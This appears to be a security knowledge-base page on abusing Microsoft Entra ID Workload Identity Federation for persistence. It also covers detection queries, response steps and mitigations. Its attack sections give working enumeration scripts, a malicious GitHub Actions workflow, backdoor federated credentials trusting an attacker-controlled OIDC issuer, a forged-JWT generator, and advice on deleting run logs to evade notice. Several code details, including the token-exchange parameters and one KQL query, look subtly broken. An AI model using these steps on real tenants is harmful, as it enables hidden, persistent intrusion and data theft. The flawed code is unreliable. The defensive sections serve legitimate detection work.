| Attribute | Details |
|---|---|
| Technique ID | PERSIST-VALID-005 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Entra ID (Microsoft Azure) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Azure/Entra ID versions (cloud-native) |
| Patched In | N/A (Requires mitigation configuration) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Workload Identity Federation (WIF) is a Microsoft Entra ID feature that allows external workloads (GitHub Actions, Azure DevOps, Kubernetes, on-premises systems) to authenticate and access Azure resources using short-lived OIDC (OpenID Connect) tokens, eliminating the need for long-lived secrets. However, attackers can abuse misconfigured WIF to establish persistent access by creating federated credentials with overly permissive trust policies, poisoning attribute mappings, or exploiting trust relationships between identity providers and service accounts.
Attack Surface: The attack surface includes:
sub, aud, repository, ref claims)Business Impact: An attacker who gains access to federated credential configuration can establish persistent, long-lived access to Azure resources without needing to rotate secrets or re-authenticate. This enables attackers to bypass conditional access policies, evade MFA enforcement, maintain access across credential rotations, and escalate privileges from external workloads to Azure resources. The attack can remain undetected because WIF is designed to minimize audit log noise compared to traditional authentication.
Technical Context: WIF token exchanges typically complete in 1-3 seconds and generate minimal audit events (only the final token acquisition is logged, not the OIDC validation). Detection difficulty is Medium – while the attack can be detected via anomalous federated credential creation or unusual attribute mappings, blue teams often miss WIF abuse because they focus on user and service principal activity rather than infrastructure-level identity configuration changes.
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write or equivalent for app registrations), but misconfigured admin consent workflows often grant these permissions to overly broad roles.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.2.2 (Azure AD) | Ensure that only cloud applications are allowed to authenticate directly to Azure AD. Workload Identity Federation misconfiguration allows external identities to authenticate without proper validation. |
| DISA STIG | V-222548 (Azure) | Multi-factor authentication must be enforced. WIF with permissive attribute mappings bypasses MFA by design (tokens are pre-authenticated by external IdP). |
| CISA SCuBA | Identity, Credential, and Access Management (ICAM) | Strict attribute validation and least privilege must be enforced on all identity sources, including federated workloads. |
| NIST 800-53 | AC-3 (Access Enforcement), IA-5 (Authentication) | Implement role-based access control and validate all external identity claims before granting access. |
| GDPR | Art. 32 (Security of Processing) | Organizations must ensure identity controls and audit trails for all system access, including federated identity exchanges. |
| DORA | Art. 9 (ICT Incident Reporting) | Critical identity misconfigurations must be logged and monitored as part of ICT security incident detection. |
| NIS2 | Art. 21 (Cybersecurity Risk Management Measures) | Identity management systems must include continuous monitoring and validation of all authentication pathways, including workload identities. |
| ISO 27001 | A.9.2.3 (Management of Privileged Access Rights) | Workload identity credentials must be managed with the same rigor as user credentials, with role-based access control and audit trails. |
| ISO 27005 | Risk Assessment - “Compromise of Workload Identity Credentials” | Federated credential misconfigurations represent a high-likelihood, high-impact risk scenario. |
Required Privileges:
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write (to create WIF credentials on managed identities)Application.ReadWrite.All (to modify app registration federated credentials)Directory.ReadWrite.All (to modify any identity in the tenant)Required Access:
https://login.microsoftonline.com)Supported Versions:
Tools:
Objective: Identify which managed identities or app registrations already have federated credentials configured.
Command (PowerShell via Microsoft Graph):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "ManagedIdentity.Read.All"
# List all user-assigned managed identities with federated credentials
$identities = Get-MgIdentityUserAssignedIdentity
foreach ($identity in $identities) {
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $identity.Id
if ($fedCreds) {
Write-Host "Managed Identity: $($identity.Name)"
Write-Host " Federated Credentials: $($fedCreds.Count)"
foreach ($cred in $fedCreds) {
Write-Host " - Issuer: $($cred.Issuer)"
Write-Host " Subject: $($cred.Subject)"
Write-Host " Audiences: $($cred.Audiences -join ', ')"
}
}
}
What to Look For:
Owner or Contributor rolesVersion Note: Behavior is consistent across all Entra ID versions. Attribute access depends on Microsoft Graph v1.0 API availability.
Objective: Identify if attribute mappings lack proper claim validation.
Command (Azure CLI):
# List app registrations and their federated credentials
az ad app list --query "[].{appId:appId, displayName:displayName}" -o json | jq '.[]'
# For a specific app, list its federated credentials
APP_ID="<application-id>"
az ad app federated-identity-credential list --id $APP_ID --query "[].{issuer:issuer, subject:subject, audiences:audiences}" -o json
What to Look For:
subject filtering (e.g., subject: "*" or missing repository claim validation)audiences (e.g., audience not specific to the application)issuer pointing to shared OIDC endpoints (e.g., https://token.actions.githubusercontent.com for GitHub Actions) without per-org/per-repo validationCommand (PowerShell - Graph API):
# Enumerate app registrations and their federated credentials
$apps = Get-MgApplication -All
foreach ($app in $apps) {
try {
$fedCreds = Get-MgApplicationFederatedIdentityCredential -ApplicationId $app.Id -ErrorAction SilentlyContinue
if ($fedCreds) {
Write-Host "App: $($app.DisplayName) ($($app.AppId))"
foreach ($cred in $fedCreds) {
Write-Host " Issuer: $($cred.Issuer)"
Write-Host " Subject: $($cred.Subject)"
Write-Host " Audiences: $($cred.Audiences -join ', ')"
}
}
} catch { }
}
Objective: Confirm which external identity providers are trusted by the organization.
Command (PowerShell - AADInternals):
Import-Module AADInternals
# Get federated domain information
Get-AADIntFederatedDomain | Select-Object DomainName, IssuerUri, FederationBrandingDisplayName
What to Look For:
federatedIdpMfaBehavior set to acceptIfMfaByExternalIdpIsNotAvailable or ignoreMfaByExternalIdp)Supported Versions: All Entra ID versions
Prerequisite: Attacker has compromised or controls a GitHub Actions repository, OR has write access to an existing GitHub organization whose OIDC issuer is already trusted.
Objective: Identify managed identities or app registrations that trust GitHub Actions OIDC issuer.
Command:
# Find all managed identities trusting GitHub Actions
$identities = Get-MgIdentityUserAssignedIdentity -All
foreach ($identity in $identities) {
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $identity.Id
foreach ($cred in $fedCreds) {
if ($cred.Issuer -eq "https://token.actions.githubusercontent.com") {
Write-Host "Found GitHub-trusted identity: $($identity.Name)"
Write-Host " Subject: $($cred.Subject)"
Write-Host " Audience: $($cred.Audiences -join ', ')"
# Check what roles this identity has
$roles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $identity.Id
Write-Host " Assigned Roles: $($roles | Select-Object -ExpandProperty AppRoleId | Join-String -Separator ', ')"
}
}
}
What This Means:
Subject: repo:attacker-org/attacker-repo:ref:refs/heads/main, the attacker can mint tokens from that GitHub Actions workflow.Audience is not specific to the target resource (e.g., only contains resource URI, not repo-specific claim), the attacker can reuse tokens for privilege escalation.Objective: Use a compromised or attacker-controlled GitHub Actions workflow to request and use an OIDC token for Azure access.
Malicious GitHub Actions Workflow (.github/workflows/malicious.yml):
name: Malicious Azure Access
on: [push]
jobs:
authenticate:
runs-on: ubuntu-latest
permissions:
id-token: write
contents: read
steps:
- name: Authenticate to Azure using WIF
run: |
# Request an OIDC token from GitHub
OIDC_TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r '.token')
# Exchange OIDC token for Azure access token
ACCESS_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
-d "grant_type=client_credentials" \
-d "client_id=<MANAGED_IDENTITY_CLIENT_ID>" \
-d "assertion=$OIDC_TOKEN" \
-d "requested_token_use=on_behalf_of" \
-H "Content-Type: application/x-www-form-urlencoded" | jq -r '.access_token')
# Use the access token to perform privileged operations
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me" | jq '.'
Expected Output:
ACCESS_TOKEN to call Microsoft Graph or Azure Management APIs.OpSec & Evasion:
gh run delete <run-id>Troubleshooting:
invalid_grant or AADSTS65001
Subject field in the federated credential matches GitHub’s token format: repo:<org>/<repo>:ref:refs/heads/<branch> or repo:<org>/<repo>:environment:<env>Objective: Once token access is achieved, create additional federated credentials that don’t depend on the original GitHub Actions workflow.
Command (PowerShell):
# This assumes the attacker has obtained an access token with admin rights
$managedIdentityId = "<target-identity-id>"
$newFederatedCred = @{
name = "AttackerEscapeRoute"
issuer = "https://token.actions.githubusercontent.com"
subject = "repo:attacker-controlled-org/attacker-repo:ref:refs/heads/main"
audiences = @("api://AzureADTokenExchange")
}
# Create the new federated credential
New-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
-UserAssignedIdentityId $managedIdentityId `
-BodyParameter $newFederatedCred
What This Means:
Supported Versions: All Entra ID versions
Prerequisite: Attacker has compromised a service principal with Application.ReadWrite.All permission.
Objective: Find service principals with overly permissive roles.
Command (PowerShell):
# Get all service principals and their role assignments
$spList = Get-MgServicePrincipal -All -PageSize 999
foreach ($sp in $spList) {
$roles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id
foreach ($role in $roles) {
# Check for high-privilege roles
if ($role.AppRoleId -match "(9e3f62cf-ca93-4989-b6ce-5f6e88c70d57|9adb8b1e-78ff-4034-96ad-6e42fd69ae4d|62e90394-69f5-4237-9190-012177145e10)") {
Write-Host "High-privilege service principal: $($sp.DisplayName)"
Write-Host " Object ID: $($sp.Id)"
Write-Host " Role: $($role.AppRoleId)"
}
}
}
What to Look For:
Application.ReadWrite.All, Directory.ReadWrite.All, or RoleManagement.ReadWrite.Directory roles.Objective: Alter the attribute mapping to accept tokens from external identity providers the attacker controls.
Command (PowerShell):
$spId = "<service-principal-id>"
# Create a new federated credential with overly permissive attribute mapping
$federatedCred = @{
name = "PermissiveFederation"
issuer = "https://attacker-oidc-server.com" # Attacker-controlled OIDC issuer
subject = "*" # Accept ANY subject claim (critical vulnerability!)
audiences = @("https://management.azure.com")
}
# Add the federated credential to the app registration
New-MgApplicationFederatedIdentityCredential `
-ApplicationId (Get-MgServicePrincipal -Filter "id eq '$spId'").AppId `
-BodyParameter $federatedCred
What This Means:
subject = "*" mapping allows ANY token from the attacker’s OIDC server to be accepted.Objective: Create tokens that match the poisoned attribute mapping.
Command (Bash - using attacker’s OIDC server):
# Generate a private key (if not already available)
openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048
# Create a JWT token with arbitrary claims
cat > create_token.py << 'EOF'
import jwt
import json
from datetime import datetime, timedelta
import sys
private_key = open('private_key.pem', 'r').read()
payload = {
"iss": "https://attacker-oidc-server.com",
"sub": "attacker@malicious.com",
"aud": "https://management.azure.com",
"exp": datetime.utcnow() + timedelta(hours=1),
"iat": datetime.utcnow(),
"nbf": datetime.utcnow(),
}
token = jwt.encode(payload, private_key, algorithm="RS256")
print(token)
EOF
python3 create_token.py
Expected Output:
Objective: Use the forged token to obtain an Azure access token.
Command (Bash):
OIDC_TOKEN="<forged-jwt-from-step-3>"
CLIENT_ID="<service-principal-client-id>"
TENANT_ID="<azure-tenant-id>"
curl -X POST \
"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
-d "grant_type=client_credentials" \
-d "client_id=$CLIENT_ID" \
-d "assertion=$OIDC_TOKEN" \
-d "requested_token_use=on_behalf_of" \
-H "Content-Type: application/x-www-form-urlencoded"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"token_type": "Bearer",
"expires_in": 3600
}
OpSec & Evasion:
Troubleshooting:
invalid_grant or AADSTS50058 (token validation failed)
.well-known/openid-configuration) wasn’t properly configured or JWK signature validation failed.Supported Versions: All Entra ID versions
Prerequisite: Organization has Azure DevOps, GitHub, or Kubernetes integrated with Entra ID without proper subject claim validation.
Command (PowerShell):
# Get all managed identities with federated credentials
$managedIds = Get-MgIdentityUserAssignedIdentity -All
$allIssuers = @()
foreach ($id in $managedIds) {
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
foreach ($cred in $fedCreds) {
$allIssuers += [PSCustomObject]@{
ManagedIdentity = $id.Name
Issuer = $cred.Issuer
Subject = $cred.Subject
Audiences = $cred.Audiences -join ','
}
}
}
$allIssuers | Group-Object Issuer | Select-Object Name, Count, @{N="Details"; E={$_.Group}}
What to Look For:
Scenario: Attacker compromises a GitHub Actions workflow with access to a low-privilege managed identity. The organization also has a higher-privilege managed identity trusting the same GitHub OIDC issuer.
Attacker’s Plan:
Command (PowerShell):
$lowPrivManagedIdId = "<compromised-low-privilege-id>"
$highPrivManagedIdId = "<target-high-privilege-id>"
# Get the federated credential from the low-privilege identity
$lowPrivCred = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $lowPrivManagedIdId
# Check if the issuer is GitHub
if ($lowPrivCred.Issuer -eq "https://token.actions.githubusercontent.com") {
# Get high-privilege identity's credentials
$highPrivCred = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $highPrivManagedIdId
# If both trust GitHub, try to create a second credential on high-privilege identity
# This would require `Microsoft.ManagedIdentity/*/federatedIdentityCredentials/write` permission
$newCred = @{
name = "EscalatedAccess"
issuer = "https://token.actions.githubusercontent.com"
subject = "repo:attacker-org/attacker-repo:ref:refs/heads/main"
audiences = @("api://AzureADTokenExchange")
}
New-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
-UserAssignedIdentityId $highPrivManagedIdId `
-BodyParameter $newCred
}
OpSec & Evasion:
Test Environment: Entra ID tenant with at least one user-assigned managed identity and a GitHub repository.
Step 1: Create a Managed Identity and Federated Credential (Legitimate Configuration)
$resourceGroup = "rg-test"
$managedIdentityName = "mi-wif-test"
# Create managed identity
$mi = New-AzUserAssignedIdentity -ResourceGroupName $resourceGroup -Name $managedIdentityName
# Create federated credential for GitHub
$federatedCredParams = @{
ResourceGroupName = $resourceGroup
ManagedIdentityName = $managedIdentityName
Name = "github-repo"
Issuer = "https://token.actions.githubusercontent.com"
Subject = "repo:my-org/my-repo:ref:refs/heads/main"
Audiences = @("api://AzureADTokenExchange")
}
New-AzFederatedIdentityCredential @federatedCredParams
Step 2: Create a GitHub Actions Workflow That Uses the Federated Credential
name: Test WIF
on: [push]
jobs:
test:
runs-on: ubuntu-latest
permissions:
id-token: write
env:
AZURE_SUBSCRIPTION_ID: $
AZURE_TENANT_ID: $
AZURE_CLIENT_ID: $
steps:
- name: Azure Login
uses: azure/login@v2
with:
client-id: $
tenant-id: $
subscription-id: $
- name: List Resources
run: az resource list
Expected Behavior: The workflow successfully authenticates to Azure without using secrets.
Step 3: Simulate Attacker Abuse
Create a second workflow that attempts to reuse the OIDC token for unauthorized access:
name: Malicious WIF Usage
on: [push]
jobs:
abuse:
runs-on: ubuntu-latest
permissions:
id-token: write
steps:
- name: Get OIDC Token
id: token
run: |
OIDC_TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r '.token')
echo "::set-output name=token::$OIDC_TOKEN"
echo "Token acquired (masked): $(echo $OIDC_TOKEN | cut -c1-20)..."
Version: 2.0+ Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux (PowerShell 5.1+)
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser
Usage:
# Connect with scopes
Connect-MgGraph -Scopes "ManagedIdentity.ReadWrite.All", "Application.ReadWrite.All"
# List federated credentials
$identity = Get-MgIdentityUserAssignedIdentity -UserAssignedIdentityId "<id>"
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $identity.Id
Version: 2.50.0+ Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install azure-cli
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Windows
# Download MSI from https://aka.ms/azurecloudshell
Usage:
az login
az identity create --name my-identity --resource-group my-rg
az identity federated-identity-credential create \
--name github-fed \
--identity-name my-identity \
--resource-group my-rg \
--issuer https://token.actions.githubusercontent.com \
--subject repo:my-org/my-repo:ref:refs/heads/main \
--audiences api://AzureADTokenExchange
Version: 0.9.x Supported Platforms: Windows PowerShell 5.1+, PowerShell Core 7+
Installation:
# Download from https://o365blog.com/aadinternals/
# Or install via PS Gallery:
Install-Module -Name AADInternals -Force
Usage:
Import-Module AADInternals
# Enumerate federated domains
Get-AADIntFederatedDomain
# Get federation configuration
Get-AADIntFederationMetadata -Domain "contoso.com"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Create federated identity credential"
or OperationName == "Update federated identity credential"
| extend TargetResource = TargetResources[0]
| extend ManagedIdentityName = TargetResource.displayName
| extend ModifiedPropsJson = parse_json(TargetResource.modifiedProperties)
| where ModifiedPropsJson[0].newValue contains "PermissiveFederation"
or ModifiedPropsJson[0].newValue contains "*" // subject = "*"
or ModifiedPropsJson[0].newValue contains "repo:" and ModifiedPropsJson[0].newValue !contains "organization"
| project
TimeGenerated,
OperationName,
ManagedIdentityName,
Issuer = ModifiedPropsJson[0].newValue,
TargetResourceType = TargetResource.type,
InitiatedBy = InitiatedBy.user.userPrincipalName,
IPAddress = InitiatedBy.ipAddress
| sort by TimeGenerated desc
What This Detects:
"PermissiveFederation" (attacker-controlled naming)subject = "*" (accepts any subject)Manual Configuration Steps (Azure Portal):
High-Risk Federated Credential CreationHigh5 minutes1 hourRule Configuration:
KQL Query:
AADNonInteractiveUserSignInLogs
| where TokenIssuerType == "SAML" or TokenIssuerType == "JWT"
| where UserAgent contains "github" or UserAgent contains "azure-pipelines" or AppDisplayName contains "Workload"
| where ResultType == 0 // Successful sign-in
| extend IssuedTokenProperties = parse_json(parse_json(AdditionalDetails).tokenProperties) IssuedByTokenIssuer = IssuedTokenProperties.issuer
| where IssuedByTokenIssuer !in ("https://token.actions.githubusercontent.com", "https://vstoken.dev.azure.com", "https://oidc.gke.io", "https://oidc.eks.amazonaws.com")
| summarize SignInCount = count() by
AppDisplayName,
IssuedByTokenIssuer,
UserPrincipalName,
IPAddress,
TimeGenerated = bin(TimeGenerated, 5m)
| where SignInCount > 3 // Alert on more than 3 sign-ins from same issuer in 5 min
| sort by SignInCount desc
What This Detects:
Not applicable for Entra ID/cloud-native workload identity federation. All activity is logged in Azure Audit Logs and Microsoft Sentinel, not Windows Event Logs.
Not applicable for Entra ID/cloud-native workload identity federation. Sysmon is designed for Windows endpoint detection and does not monitor cloud identity infrastructure.
Alert Name: Suspicious federated credential associated with a user-assigned managed identity
subject = "*" or missing subject validation).Remove-AzFederatedIdentityCredential# Search for federated credential creation events
Search-UnifiedAuditLog `
-StartDate (Get-Date).AddDays(-30) `
-EndDate (Get-Date) `
-RecordType AzureActiveDirectory `
-Operations "Create federated identity credential", "Update federated identity credential" `
-FreeText "subject" | Export-Csv -Path "C:\Audit\FederatedCredentials.csv" -NoTypeInformation
properties.newValues[0] (issuer, subject, audiences)targetResources[0].displayName (managed identity name)initiatedBy.user.userPrincipalName (who created it)Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
Create federated identity credentialObjective: Ensure each federated credential restricts the subject claim to a specific, minimal scope.
Applies To Versions: All Entra ID versions
Manual Steps (Azure Portal):
repo:specific-org/specific-repo:ref:refs/heads/mainrepo:specific-org/specific-repo:* (allows all branches)repo:specific-org/*:* (allows all repos in org)* (allows any subject)Manual Steps (PowerShell):
# Validate all federated credentials have proper subject scoping
$identities = Get-MgIdentityUserAssignedIdentity -All
foreach ($id in $identities) {
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
foreach ($cred in $fedCreds) {
if ($cred.Subject -eq "*" -or $cred.Subject -like "*/*:*") {
Write-Host "⚠️ INSECURE: $($id.Name) has overly permissive subject: $($cred.Subject)"
Write-Host " Recommended remediation: Delete and recreate with specific subject"
}
}
}
Objective: Limit who can create or modify federated credentials to a minimal set of administrators.
Applies To Versions: All Entra ID versions
Manual Steps (Azure RBAC):
Owner and Contributor{
"name": "Federated Identity Credential Administrator",
"isCustom": true,
"description": "Allows creation and management of federated credentials only",
"assignableScopes": ["/subscriptions/{subscription-id}"],
"permissions": [
{
"actions": [
"Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write",
"Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/delete",
"Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/read"
],
"notActions": [],
"dataActions": [],
"notDataActions": []
}
]
}
Manual Steps (PowerShell):
# Create the custom role
$role = New-AzRoleDefinition -InputFile ".\federated-admin-role.json"
# Assign to specific user/group
New-AzRoleAssignment `
-ObjectId "<admin-object-id>" `
-RoleDefinitionName "Federated Identity Credential Administrator" `
-Scope "/subscriptions/<subscription-id>"
# Remove dangerous broad role assignments
$dangerousRoles = Get-AzRoleAssignment -Scope "/subscriptions/<subscription-id>" -RoleDefinitionName "Owner", "Contributor"
foreach ($assignment in $dangerousRoles) {
if ($assignment.DisplayName -notmatch "ServiceAccount|IdentityAdmin") {
Remove-AzRoleAssignment -ObjectId $assignment.ObjectId -RoleDefinitionName $assignment.RoleDefinitionName -Scope $assignment.Scope
}
}
Objective: Require additional authentication context for token exchanges from external identity providers.
Applies To Versions: All Entra ID versions
Manual Steps (Azure Portal):
Workload Identity Federation Access ControlWorkload Identity Federation (if available)Manual Steps (PowerShell):
# Create a conditional access policy for workload identities
$policy = @{
displayName = "Require MFA for Federated Workloads"
state = "enabled"
conditions = @{
applications = @{
includeApplications = @("all")
}
users = @{
includeUsers = @("all")
}
signInRiskLevels = @("high")
clientAppTypes = @("workloadIdentityFederation")
}
grantControls = @{
operator = "OR"
builtInControls = @("mfa", "compliantDevice")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
Objective: Restrict which external OIDC issuers can mint tokens for your organization.
Manual Steps (Entra ID):
https://token.actions.githubusercontent.com (GitHub Actions)https://vstoken.dev.azure.com (Azure DevOps)https://<your-kubernetes-oidc-issuer> (Kubernetes OIDC issuer)Objective: Ensure all federated credential modifications are logged and alerted on.
Manual Steps (Entra ID + Sentinel):
Objective: Implement a periodic review process to identify stale or unauthorized federated credentials.
Manual Steps (PowerShell - Run Quarterly):
$auditReport = @()
$identities = Get-MgIdentityUserAssignedIdentity -All
foreach ($id in $identities) {
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
foreach ($cred in $fedCreds) {
$auditReport += [PSCustomObject]@{
ManagedIdentity = $id.Name
FederatedCredentialName = $cred.Name
Issuer = $cred.Issuer
Subject = $cred.Subject
Audiences = $cred.Audiences -join '; '
CreatedDate = $cred.CreatedDateTime
ReviewStatus = "NEEDS_REVIEW" # Manually update to "APPROVED" or "DELETE"
}
}
}
# Export for audit
$auditReport | Export-Csv -Path "C:\Audits\Federated_Credentials_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
# For credentials marked "DELETE", remove them:
$toDelete = $auditReport | Where-Object { $_.ReviewStatus -eq "DELETE" }
foreach ($item in $toDelete) {
Remove-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
-UserAssignedIdentityId $item.ManagedIdentityId `
-FederatedIdentityCredentialId $item.Id
}
Entra ID Audit Events:
Create federated identity credential with properties containing:
https://attacker-oidc-server.com* or unusually broad patternsMicrosoft Sentinel Logs:
AADNonInteractiveUserSignInLogs with TokenIssuerType == "JWT" and issuer NOT in approved listAuditLogs with OperationName == "Create federated identity credential" initiated by unexpected usersTimeline IOCs:
Azure Audit Logs Location:
OperationName containing “federated”https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?$filter=operationName eq 'Create federated identity credential'What to Examine:
targetResources[0].displayName – Which managed identity or app registration was modifiedmodifiedProperties – What attribute mappings were changedinitiatedBy.user.userPrincipalName – Who created the credentialactivityDateTime – When the credential was createdCloud Storage Artifacts:
Immediate Action (within 5 minutes):
# Disable the compromised service principal
$spId = "<service-principal-id>"
Update-MgServicePrincipal -ServicePrincipalId $spId -AccountEnabled $false
# OR revoke all active token sessions
Revoke-MgServicePrincipalToken -ServicePrincipalId $spId
# Delete malicious federated credentials
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
foreach ($cred in $fedCreds | Where-Object { $_.Name -eq "PermissiveFederation" }) {
Remove-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
-UserAssignedIdentityId $id.Id `
-FederatedIdentityCredentialId $cred.Id
}
# Export audit logs for the affected identity
$auditLogs = Get-MgAuditLog -All -Filter "targetResources/any(t:t/id eq '$spId')"
$auditLogs | ConvertTo-Json | Out-File "C:\Incident\AuditLogs_$(Get-Date -Format 'yyyyMMdd_HHmmss').json"
# Collect token access patterns
Search-UnifiedAuditLog `
-StartDate (Get-Date).AddDays(-7) `
-Operations "AppTokenObtained" `
-FreeText $spId | Export-Csv -Path "C:\Incident\TokenAccess.csv"
# Identify all federated credentials across the organization
$allFedCreds = @()
$ids = Get-MgIdentityUserAssignedIdentity -All
foreach ($id in $ids) {
$creds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
$allFedCreds += $creds | Select-Object -Property @{N='ManagedIdentityId'; E={$id.Id}}, *
}
# Review and re-create federated credentials with strict scoping
foreach ($cred in $allFedCreds) {
# Validate subject is properly scoped
if ($cred.Subject -eq "*" -or $cred.Subject -like "*/*") {
Write-Host "Deleting insecure credential: $($cred.Name) on $($cred.ManagedIdentityId)"
Remove-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
-UserAssignedIdentityId $cred.ManagedIdentityId `
-FederatedIdentityCredentialId $cred.Id
# Admin should manually recreate with proper scoping
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-001] BloodHound for Azure/Entra privilege paths | Attacker maps service principal relationships and identifies high-privilege identities. |
| 2 | Initial Access | [IA-VALID-002] Stale/inactive account compromise | Attacker gains initial access to a service principal or GitHub Actions workflow with lower privileges. |
| 3 | Privilege Escalation | [PE-VALID-011] Managed Identity MSI Escalation | Attacker abuses managed identity token access to escalate to higher-privilege resources. |
| 4 | Current Step | [PERSIST-VALID-005] | Attacker creates/modifies federated credentials to establish persistent access without long-lived secrets. |
| 5 | Collection | [CO-M365-001] Microsoft Graph API enumeration | Attacker uses the persistent federated credentials to enumerate users, groups, and sensitive data. |
| 6 | Exfiltration | [EX-M365-001] OneDrive/SharePoint bulk export | Attacker exfiltrates sensitive documents and email using the persistent access token. |
https://token.actions.githubusercontent.com with subject repo:<org>/*:* (overly permissive).Owner role on critical subscription.*.https://vstoken.dev.azure.com without proper audience validation.